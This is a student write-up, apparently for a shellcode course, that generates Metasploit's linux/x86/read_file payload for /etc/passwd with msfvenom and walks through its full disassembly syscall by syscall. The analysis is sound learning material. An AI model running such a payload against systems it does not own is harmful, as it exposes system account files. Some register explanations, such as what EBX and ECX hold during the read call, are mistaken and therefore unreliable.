Assignment #5 - Analyzing shellcode

Student ID: PA-7854

In this third and last part, we will analize the next Metasploit’s payload: linux/x86/read_file.

The code is available at my github repo.

linux/x86/read_file

We will generate the payload with msfvenom as follows:

# msfvenom -p linux/x86/read_file PATH=/etc/passwd --platform linux -a x86 -f raw -o /tmp/readfile-pwd.txt
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Saved as: /tmp/readfile-pwd.txt

Running it with no other parameters, FD defaults to 1 which is stdout, to read file and print content on screen.

We dissect the generated file with ndisasm:

# ndisasm -u /tmp/readfile-pwd.txt
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

Since there are a few syscalls, as we can see the multiple int 0x80 instructions, I will analyze and explain it by blocks of interrupts.

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80

First instruction jumps to address 0x38 which is a call 0x2 instruction, so basically this is a technique called JMP-CALL-POP, since after a call instruction is executed the next instruction’s address is saved, then we pop that saved value, in this case into EBX (third line, address 0x7). Number 0x5 on second line, mov eax, 0x5, refers to the open syscall.

Do you ask what was saved in memory? Again, we convert from hex to string and we can discover it:

# echo 2f6574632f706173737764 | xxd -r -p
/etc/passwd

/etc/passwd was the value we set for FILE parameter, so it’s the file being opened.

Let’s move forward.

0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80

This block refers to the read syscall (0x3), as we can see from the EAX register. This function signature is as follows:

ssize_t read(int fd, void *buf, size_t count);

As we know, first parameter is referred by EBX (0x5), second parameter by ECX, which is pointing to EDI that holds the file to be read (/etc/passwd), and third parameter by EDX which is the length, 4096 bytes (0x1000).

0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80

This is the write syscall (0x4), which the signature is similar to the previous one:

ssize_t write(int fd, const void *buf, size_t count);

It basically, writes the contents of the file to the screen as EBX has the value 0x1 which stands for stdout.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

This code block is the exit syscall, to do it gracefully.